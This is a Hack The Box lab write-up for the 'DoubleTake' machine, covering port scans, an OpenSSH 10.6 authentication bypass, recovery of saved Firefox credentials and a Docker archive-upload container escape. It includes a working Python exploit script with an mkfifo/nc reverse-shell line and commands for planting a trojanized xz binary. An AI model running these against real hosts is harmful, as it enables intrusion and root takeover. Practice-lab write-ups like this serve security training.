HTB DoubleTake Writeup | OpenSSH Auth Bypass (CVE-2026-123158) to Docker Container Escape
Hack The Box DoubleTake walkthrough: OpenSSH 10.6 authentication bypass (CVE-2026-123158) on Alpine, Firefox credential extraction and a Docker 29.5.0 archive upload container escape to root.
DoubleTake
Get started with detailed Nmap scan...
Nmap Scan Results
┌──(root㉿blackXploit)-[/home/kali/Downloads/HTB-Boxes/doubletake]
└─# nmap -sC -sV -Pn --reason --min-rate 10000 10.129.75.117
Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-12 23:07 IST
Nmap scan report for 10.129.75.117
Host is up, received user-set (0.070s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 10.6 (protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 UNAUTHORIZED\x0D
|_ Basic realm=Zentara
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelif you look closely at the TTL ( Time to live ) value which explicitly tells out the network hop is 2 generally linux has 64. which is running openssh inside docker container.
and TTL has different for the port 80 which is 63 only one hop away which indictes host and root path.
This is pretty interesting..right ? more you can learn form ippsec videos or headover to https://0xdf.gitlab.io/cheatsheets/os#ttl
Btw lets check port 80

i tried default username as usual admin and password admin / admin / password all are failed.
next i back again the discovery ! and checked the version of the ssh running Openssh 10.6

Which is vulnerable to Critical auth bypass CVE-2026-123158
also one thing you can use the nmap along with the --script to check against the latest vulnerabilities.
┌──(root㉿blackXploit)-[/home/kali/Downloads/HTB-Boxes/doubletake]
└─# rustscan -b 500 -a 10.129.75.117 --top -- -sC -sV --script vuln
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I scanned my computer so many times, it thinks we're dating.
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 924'.
Open 10.129.75.117:22
Open 10.129.75.117:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sC -sV --script vuln" on ip 10.129.75.117
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-12 23:11 IST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:11
NSE Timing: About 50.00% done; ETC: 23:12 (0:00:31 remaining)
Completed NSE at 23:11, 34.09s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:11
Completed NSE at 23:11, 0.01s elapsed
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Initiating Ping Scan at 23:11
Scanning 10.129.75.117 [4 ports]
Completed Ping Scan at 23:11, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:11
Completed Parallel DNS resolution of 1 host. at 23:11, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 23:11
Scanning 10.129.75.117 [2 ports]
Discovered open port 80/tcp on 10.129.75.117
Discovered open port 22/tcp on 10.129.75.117
Completed SYN Stealth Scan at 23:11, 0.08s elapsed (2 total ports)
Initiating Service scan at 23:11
Scanning 2 services on 10.129.75.117
Completed Service scan at 23:12, 6.15s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.75.117.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:12
NSE Timing: About 98.55% done; ETC: 23:12 (0:00:00 remaining)
NSE Timing: About 98.55% done; ETC: 23:13 (0:00:01 remaining)
NSE Timing: About 99.64% done; ETC: 23:13 (0:00:00 remaining)
NSE Timing: About 99.64% done; ETC: 23:14 (0:00:00 remaining)
NSE Timing: About 99.64% done; ETC: 23:14 (0:00:01 remaining)
NSE Timing: About 99.64% done; ETC: 23:15 (0:00:01 remaining)
NSE Timing: About 99.64% done; ETC: 23:15 (0:00:01 remaining)
Completed NSE at 23:15, 214.08s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:15
Completed NSE at 23:15, 0.32s elapsed
Nmap scan report for 10.129.75.117
Host is up, received echo-reply ttl 63 (0.068s latency).
Scanned at 2026-11-12 23:11:54 IST for 221s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 10.6 (protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:10.6:
| KS:SCANNER-SSH-OPENSSH_CVE_2026_123158_DETECT 8.1 https://vulners.com/kittysploit/KS:SCANNER-SSH-OPENSSH_CVE_2026_123158_DETECT *EXPLOIT*
| KS:EXPLOITS-LINUX-SSH-OPENSSH_CVE_2026_123158_SSHHOLE 8.1 https://vulners.com/kittysploit/KS:EXPLOITS-LINUX-SSH-OPENSSH_CVE_2026_123158_SSHHOLE *EXPLOIT*
| CVE-2026-123158 8.1 https://vulners.com/cve/CVE-2026-123158
| C7BEBF2B-9C42-5FA8-80E1-3D371B3C964F 8.1 https://vulners.com/githubexploit/C7BEBF2B-9C42-5FA8-80E1-3D371B3C964F *EXPLOIT*
| C0D483B1-8E15-5E4B-BCCF-A69CAE6B07F2 8.1 https://vulners.com/githubexploit/C0D483B1-8E15-5E4B-BCCF-A69CAE6B07F2 *EXPLOIT*
| BE833F9C-69B7-5632-B291-A9B34A4EEA93 8.1 https://vulners.com/githubexploit/BE833F9C-69B7-5632-B291-A9B34A4EEA93 *EXPLOIT*
| BD6BCE9C-628A-5692-B6ED-917BA9E7D4E8 8.1 https://vulners.com/githubexploit/BD6BCE9C-628A-5692-B6ED-917BA9E7D4E8 *EXPLOIT*
| B168F601-4F15-5F19-B4D0-177B7B23B3E1 8.1 https://vulners.com/githubexploit/B168F601-4F15-5F19-B4D0-177B7B23B3E1 *EXPLOIT*
| ACB7FA4A-ECAB-5AA1-86F6-55600C3EA28A 8.1 https://vulners.com/githubexploit/ACB7FA4A-ECAB-5AA1-86F6-55600C3EA28A *EXPLOIT*
| A9CF00EB-B384-5844-A9F0-E84AC7F3589C 8.1 https://vulners.com/githubexploit/A9CF00EB-B384-5844-A9F0-E84AC7F3589C *EXPLOIT*
| A4F677B0-22A3-51E0-92A2-72493F722250 8.1 https://vulners.com/githubexploit/A4F677B0-22A3-51E0-92A2-72493F722250 *EXPLOIT*
| 862A771E-3AF9-5036-B0CF-1256123760BD 8.1 https://vulners.com/githubexploit/862A771E-3AF9-5036-B0CF-1256123760BD *EXPLOIT*
| 79D178C2-F8FE-5D7E-B082-111995D781DE 8.1 https://vulners.com/githubexploit/79D178C2-F8FE-5D7E-B082-111995D781DE *EXPLOIT*
| 75006971-D0D1-57E8-A90C-C359FC3E451D 8.1 https://vulners.com/githubexploit/75006971-D0D1-57E8-A90C-C359FC3E451D *EXPLOIT*
| 6EB14C4C-2C3B-59F6-B306-71AD26EA264E 8.1 https://vulners.com/githubexploit/6EB14C4C-2C3B-59F6-B306-71AD26EA264E *EXPLOIT*
| 60E9BA48-CCDF-51EA-A785-598058F2A716 8.1 https://vulners.com/githubexploit/60E9BA48-CCDF-51EA-A785-598058F2A716 *EXPLOIT*
| 5882B152-99E5-5083-8C68-1A084F5B2978 8.1 https://vulners.com/githubexploit/5882B152-99E5-5083-8C68-1A084F5B2978 *EXPLOIT*
| 4F5FA7CB-4EDA-58D9-8D5B-C2F3E1DDC95A 8.1 https://vulners.com/githubexploit/4F5FA7CB-4EDA-58D9-8D5B-C2F3E1DDC95A *EXPLOIT*
| 4786EC9A-75D9-5E56-9B80-D9AADC054FBF 8.1 https://vulners.com/githubexploit/4786EC9A-75D9-5E56-9B80-D9AADC054FBF *EXPLOIT*
| 35D0368C-8440-59FE-8F9E-ED0F1C57D8A4 8.1 https://vulners.com/githubexploit/35D0368C-8440-59FE-8F9E-ED0F1C57D8A4 *EXPLOIT*
| 358B4923-5468-5A12-BE6A-D7E2483BECD9 8.1 https://vulners.com/githubexploit/358B4923-5468-5A12-BE6A-D7E2483BECD9 *EXPLOIT*
| 33EC583F-CD31-570F-BE24-2AA7619654BC 8.1 https://vulners.com/githubexploit/33EC583F-CD31-570F-BE24-2AA7619654BC *EXPLOIT*
| 2837778E-053C-5F5D-903F-50242A7709CE 8.1 https://vulners.com/githubexploit/2837778E-053C-5F5D-903F-50242A7709CE *EXPLOIT*
| 20292CE5-57D9-5262-BDD5-9432B615EC6E 8.1 https://vulners.com/githubexploit/20292CE5-57D9-5262-BDD5-9432B615EC6E *EXPLOIT*
| 1DD1FC40-E2F7-58A9-BEDD-896A88FC2C37 8.1 https://vulners.com/githubexploit/1DD1FC40-E2F7-58A9-BEDD-896A88FC2C37 *EXPLOIT*
| 1DAYEXPLOIT:CVE-2026-123158 8.1 https://vulners.com/1dayexploit/1DAYEXPLOIT:CVE-2026-123158 *EXPLOIT*
| 0BFD1F09-9D43-5DC3-A7D8-C742A5A66C31 8.1 https://vulners.com/githubexploit/0BFD1F09-9D43-5DC3-A7D8-C742A5A66C31 *EXPLOIT*
| CVE-2026-106588 3.1 https://vulners.com/cve/CVE-2026-106588
|_ CVE-2026-106589 2.9 https://vulners.com/cve/CVE-2026-106589
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-method-tamper:
| VULNERABLE:
| Authentication bypass by HTTP verb tampering
| State: VULNERABLE (Exploitable)
| This web server contains password protected resources vulnerable to authentication bypass
| vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
| common HTTP methods and in misconfigured .htaccess files.
|
| Extra information:
|
| URIs suspected to be vulnerable to HTTP verb tampering:
| / [POST]
|
| References:
| https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
| http://www.mkit.com.ar/labs/htexploit/
| http://capec.mitre.org/data/definitions/274.html
|_ http://www.imperva.com/resources/glossary/http_verb_tampering.html
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-litespeed-sourcecode-download: Request with null byte did not work. This web server might not be vulnerable
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-jsonp-detection: Couldn't find any JSONP endpoints.
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:15
Completed NSE at 23:15, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:15
Completed NSE at 23:15, 0.01s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 255.42 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)Overview
What it is: A high-severity authentication bypass vulnerability affecting Linux systems that use the musl C library (such as Alpine Linux) without Pluggable Authentication Modules (PAM) enabled, where password authentication is allowed.
How it works: When a password length falls between 257 and 1,024 bytes (or 256–1024 characters), a hashing/return-value quirk can misinterpret or match an account field (such as an asterisk * indicating disabled passwords) when another account on the system has a valid SHA-256 or SHA-512 hash. This allows attackers to log in using an arbitrary long password without knowing the actual credentials
lets craft our payload
The Payload
#!/usr/bin/env python3
"""
Usage:
nc -lvnp 9001
python3 sshole.py 10.129.75.117 9001
"""
import sys
import time
import paramiko
host = sys.argv[1]
lhost = sys.argv[2] if len(sys.argv) > 2 else None
lport = int(sys.argv[3]) if len(sys.argv) > 3 else 9001
pw = "A" * 300
t = paramiko.Transport((host, 22))
t.start_client(timeout=10)
for i in range(1, 7):
try:
t.auth_password("alpine", pw)
print(f"[+] attempt {i}: authenticated")
break
except paramiko.AuthenticationException:
print(f"[-] attempt {i}: denied")
if not t.is_authenticated():
print("[-] failed")
sys.exit(1)
if lhost:
rev = (
f"rm /tmp/f;mkfifo /tmp/f;"
f"cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f"
)
ch = t.open_session()
ch.exec_command(rev)
time.sleep(1)
t.close()
print("[+] sent - check your listener")
else:
ch = t.open_session()
ch.get_pty()
ch.invoke_shell()
try:
while not ch.closed:
while ch.recv_ready():
sys.stdout.write(ch.recv(4096).decode(errors="replace"))
sys.stdout.flush()
if ch.exit_status_ready():
break
time.sleep(0.1)
except KeyboardInterrupt:
pass
t.close()Shell as alpine

Here is what i did next
~ $ cat /etc/passwd
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
alpine:x:1000:1000::/home/alpine:/bin/sh
bob:x:1001:1001::/home/bob:/bin/sh
~ $ sudo -l
/bin/sh: sudo: not found
~ $ pwd
/home/alpine
~ $ cd ../
/home $ ls -la
total 20
drwxr-xr-x 1 root root 4096 Nov 10 20:15 .
drwxr-xr-x 1 root root 4096 Nov 10 20:17 ..
drwxr-sr-x 1 alpine alpine 4096 Nov 10 20:15 alpine
drwxr-sr-x 1 bob bob 4096 Nov 10 20:17 bob
/home $ cd bovb
/bin/sh: cd: can't cd to bovb: No such file or directory
/home $ cd bob
/home/bob $ ls
user.txt
/home/bob $ cat user.txt
cat: can't open 'user.txt': Permission denied
/home/bob $ cd ../
/home $ ls
alpine
bob
/home $ cd alpine
~ $ ls
~ $ ls la
ls: la: No such file or directory
~ $ ls -la
total 16
drwxr-sr-x 1 alpine alpine 4096 Nov 10 20:15 .
drwxr-xr-x 1 root root 4096 Nov 10 20:15 ..
drwxr-sr-x 3 alpine alpine 4096 Nov 10 20:15 .mozilla
~ $ cd .mozilla
~/.mozilla $ ls -la
total 12
drwxr-sr-x 3 alpine alpine 4096 Nov 10 20:15 .
drwxr-xr-x 1 root root 4096 Nov 10 20:15 ..
drwxr-sr-x 3 alpine alpine 4096 Nov 10 20:15 firefox
~/.mozilla $ file firefox
firefox: setgid, directory
~/.mozilla $ cd firefox
~/.mozilla/firefox $ ls -la
total 16
drwxr-sr-x 3 alpine alpine 4096 Nov 10 20:15 .
drwxr-sr-x 3 alpine alpine 4096 Nov 10 20:15 ..
-rw-r--r-- 1 alpine alpine 102 Nov 10 20:15 profiles.ini
drwxr-sr-x 2 alpine alpine 4096 Nov 10 20:15 zentara.default
~/.mozilla/firefox $ cd zentara.default
~/.mozilla/firefox/zentara.default $ ls -la
total 88
drwxr-sr-x 2 alpine alpine 4096 Nov 10 20:15 .
drwxr-sr-x 3 alpine alpine 4096 Nov 10 20:15 ..
-rw------- 1 alpine alpine 28672 Nov 10 20:15 cert9.db
-rw------- 1 alpine alpine 36864 Nov 10 20:15 key4.db
-rw-r--r-- 1 alpine alpine 487 Nov 10 20:15 logins.json
-rw------- 1 alpine alpine 456 Nov 10 20:15 pkcs11.txt
-rw-r--r-- 1 alpine alpine 182 Nov 10 20:15 prefs.js
-rw-r--r-- 1 alpine alpine 2 Nov 10 20:15 signedInUser.json
~/.mozilla/firefox/zentara.default $ cat logins.json
{"nextId":2,"logins":[{"id":1,"hostname":"http://172.17.0.1","httpRealm":"Zentara","formActionOrigin":null,"usernameField":"","passwordField":"","encryptedUsername":"Ym9i","encryptedPassword":"Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==","guid":"{a1b2c3d4-e5f6-7890-abcd-ef1234567890}","encType":0,"timeCreated":1730000000000,"timeLastUsed":1730900000000,"timePasswordChanged":1730000000000,"timesUsed":14}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}
~/.mozilla/firefox/zentara.default $ cat signedInUser.json
{}
~/.mozilla/firefox/zentara.default $ signedInUser.json- logins.json — saved credentials (encrypted blobs + metadata)
- key4.db — the NSS key DB; decryption key for the blobs (only needed if the values weren't plain base64)
- cert9.db — certificate store, pkcs11.txt — NSS config; both noise here
- prefs.js / signedInUser.json — profile settings, no creds

got the bob’s pass ! lets login
but before that lets read the user.txt first ssh bob@ip


so its a AI powered platform called Zentara
user conversations reveled something juicy the platform handles decompression server-side before extracting to the workspace
and it accepts .tar, .tar.gz, .tar.xz

Docker version identified 29.5.0
i quickly googled the exact version

Docker Archive Vulnerability Overview
When handling PUT /containers/{id}/archive requests with compressed archives, the daemon decompresses them using external system binaries. Due to incorrect ordering of operations, these binaries are resolved from the container's filesystem rather than the host's. A container image that includes a trojanized decompression binary can achieve code execution as the daemon process whenever a compressed archive is uploaded to that container.
The executed binary runs with the daemon's full privileges, including host root UID and unrestricted capabilities.
The Idea
POST /deploy -> PUT /containers/zentara-alpine/archive?path=<workspace>The workspace field is attacker-controlled and is passed through as the archive ?path=. That gives two primitives:
- Arbitrary write into the container rootfs — send an uncompressed tar with
workspace=/. No decompressor is invoked (Detect()=None), so it just extracts. - Trigger the vulnerable code path — send an xz tar. The daemon enters the container rootfs (
RunInFS->SwitchRoot) before callingexec.CommandContext("xz", "-d", "-c", "-q"), soLookPathresolvesxzfrom the container's filesystem and runs it as host root.
The daemon's PATH is:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/binso /usr/local/sbin/xz is used first. The chroot has an empty /proc, but the daemon keeps full caps, so the payload mounts proc, chroots to /proc/1/root (the real host root), and spawns a reverse shell
Building the Planting Archive
mkdir -p plant/usr/local/bin plant/usr/local/sbin plant/usr/bin \
plant/usr/sbin plant/bin plant/sbin
for d in usr/local/bin usr/local/sbin usr/bin usr/sbin bin sbin; do
cp payload/xz "plant/$d/xz"
chmod 0755 "plant/$d/xz"
done
tar -cf plant.tar -C plant .
tar -tf plant.tarBuild the Trigger Archive (XZ)
mkdir -p trig
echo trigger > trig/trigger.txt
tar -cJf trigger.tar.xz -C trig trigger.txtNotes
Do not use gzip unless the image contains unpigz; otherwise the daemon falls back to Go's gzip and nothing executes. xz always shells out to xz



Trigger it drop root shell for me !

btw upload through the website returns API invalid !
Comments
No comments yet — be the first to share your thoughts.